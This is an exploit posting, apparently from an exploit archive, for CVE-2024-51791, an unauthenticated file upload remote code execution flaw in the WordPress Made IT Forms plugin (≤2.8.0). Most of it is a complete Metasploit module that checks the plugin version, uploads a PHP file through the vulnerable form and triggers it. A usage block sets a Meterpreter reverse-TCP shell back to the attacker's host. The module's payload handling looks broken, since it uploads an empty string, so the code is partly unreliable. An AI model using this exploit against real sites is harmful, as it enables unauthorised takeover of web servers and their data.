============================================================================================================================================= | # Title : WordPress Made IT Forms 2.8.0 Remote Code Execution | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/214233/ & CVE-2024-51791 [+] Summary : This module exploits an unauthenticated arbitrary file upload vulnerability in the WordPress Made IT Forms plugin (versions ≤ 2.8.0). By abusing a vulnerable form endpoint, an attacker can upload a crafted PHP file to the server without authentication and achieve remote code execution. The module includes automatic version detection via the plugin’s readme.txt, a fallback fingerprint check on the form page, dynamic payload upload handling, and support for PHP, Linux, and Windows targets. Payload execution is triggered by directly accessing the uploaded file, resulting in a reliable session when successful [+] Usage : msf6 > use exploit/multi/http/wp_madeit_upload msf6 exploit(wp_madeit_forms_upload) > set RHOSTS target.com msf6 exploit(wp_madeit_forms_upload) > set TARGETURI /wordpress/ msf6 exploit(wp_madeit_forms_upload) > set FORM_PATH /form-1/ msf6 exploit(wp_madeit_forms_upload) > set FORM_ID 375 msf6 exploit(wp_madeit_forms_upload) > set PAYLOAD php/meterpreter/reverse_tcp msf6 exploit(wp_madeit_forms_upload) > set LHOST your_ip msf6 exploit(wp_madeit_forms_upload) > set LPORT 4444 msf6 exploit(wp_madeit_forms_upload) > exploit [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WP Made IT Forms Unauthenticated File Upload RCE', 'Description' => %q{ This module exploits an unauthenticated arbitrary file upload vulnerability in the WP Made IT Forms WordPress plugin (CVE-2024-51791) up to version 2.8.0. }, 'Author' => [ 'JoshuaProvoste', # Original discovery 'indoushka' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-51791'], ['URL', 'https://patchstack.com/database/'] ], 'Platform' => ['php', 'linux', 'win'], 'Arch' => [ARCH_PHP, ARCH_X64, ARCH_X86], 'Targets' => [ ['PHP (Generic)', { 'Platform' => 'php', 'Arch' => ARCH_PHP }], ['Linux (Native)', { 'Platform' => 'linux', 'Arch' => ARCH_X64 }], ['Windows (Native)', { 'Platform' => 'win', 'Arch' => ARCH_X86 }] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2024-10-02', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } )) register_options([ OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']), OptString.new('FORM_PATH', [true, 'Path to the page containing the form', '/form-1/']), OptInt.new('FORM_ID', [true, 'The vulnerable Form ID', 375]) ]) end def check readme_res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'wp-content/plugins/madeit-forms/readme.txt') }) if readme_res && readme_res.code == 200 && readme_res.body =~ /Stable tag: ([\d.]+)/ version = $1 vprint_status("Detected version: #{version}") return CheckCode::Appears if Rex::Version.new(version) <= Rex::Version.new('2.8.0') end res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, datastore['FORM_PATH']) }) return CheckCode::Unknown unless res return CheckCode::Appears if res.body.include?('madeit-forms') CheckCode::Safe end def exploit @filename = "#{rand_text_alphanumeric(8)}.php" p = target['Platform'] == 'php' ? payload.encoded : get_write_exec_payload(unlink_self: true) php_payload = "" print_status("Uploading payload (#{@filename})...") res = upload_payload(php_payload) unless res && res.code == 200 fail_with(Failure::UnexpectedReply, "Upload failed. Server responded with #{res&.code}") end upload_path = extract_path(res.body) || normalize_uri(target_uri.path, "wp-content/uploads/madeit-forms/", datastore['FORM_ID'].to_s, @filename) print_status("Triggering payload: #{upload_path}") trigger_res = send_request_cgi({ 'method' => 'GET', 'uri' => upload_path, 'timeout' => 10 }) if trigger_res case trigger_res.code when 404 print_error("Payload not found (404). Path may be incorrect.") when 403 print_error("Access denied (403). Execution might be blocked by .htaccess or permissions.") when 500 print_status("Server returned 500. Payload might have executed or crashed.") end end handler end def upload_payload(data) post_data = Rex::MIME::Message.new post_data.add_part(datastore['FORM_ID'].to_s, nil, nil, 'form-data; name="form_id"') post_data.add_part(data, 'application/octet-stream', nil, "form-data; name=\"field-1\"; filename=\"#{@filename}\"") send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, datastore['FORM_PATH']), 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { 'Referer' => full_uri(datastore['FORM_PATH']) } }) end def extract_path(body) if body =~ /"(https?:\/\/[^"]+)?(\/[^"]+uploads\/[^"]+#{@filename})"/i path = $2 vprint_good("Extracted dynamic path: #{path}") return path end nil end def full_uri(path) normalize_uri("#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}", target_uri.path, path) end end Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================